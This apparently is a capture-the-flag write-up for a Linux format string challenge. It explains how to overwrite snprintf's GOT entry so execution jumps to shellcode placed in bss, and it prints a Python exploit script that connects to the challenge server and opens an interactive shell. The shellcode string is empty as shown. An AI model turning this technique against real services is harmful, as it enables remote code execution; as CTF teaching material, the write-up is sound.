Overview
challenge2 is an Linux x86 binary with a format string vulnerability. If our format string contains no common shells, it gets placed in bss so we can just jump directly to it.
Writeup
We quickly find the interesting function and notice the obvious format string vulnerability. There are a couple of things we need to observe for this exploit:
- The
snprintf
fills a buffer on the stack (there is actually a buffer overflow here we didn’t use but could have), so we can use it to get arguments we want on the stack. - The program will exit if it detects
/bin/sh
,/bin/bash
, etc. in our string, so we cannot use shellcode with those as constants. Luckily, my favorite shellcode doesn’t have this problem. - Immediately after the
snprintf
, the functioncountdown
makes another call tosnprintf
. - Our format string is initially placed in bss, which is at a known location and is executable.
But now we have everything we need for our exploit: we make a format string that overwrites the GOT address of snprintf
to point to the area in bss with payload. The format string will have the form: shellcode + padding + addr_of_snprintf_got_hi + addr_of_snprintf_got_lo + format_string
. Here is an exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
import string
shellcode = ""
got_addr = 0x804b044 # snprintf got.
target_val = 0x804b120 # Location of our payload in bss.
padding = "A"*(4 - (len(shellcode) % 4))
first_part = shellcode + padding + struct.pack('I', got_addr) + struct.pack('I', got_addr + 2)
first_size = (target_val >> 16) - len(first_part)
second_size = (target_val & 0xFFFF) - first_size - len(first_part)
first_addr = (len(first_part) / 4) + 3
second_addr = first_addr + 1
last_part = "%" + str(first_size) + "x%" + str(second_addr) + "$hn"
last_part += "%" + str(second_size) + "x%" + str(first_addr) + "$hn"
payload = first_part + last_part + "\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('128.238.66.213', 23456))
# s.connect(('127.0.0.1', 23456))
f = s.makefile('rw', bufsize=0)
f.write(payload)
t = telnetlib.Telnet()
t.sock = s
t.interact()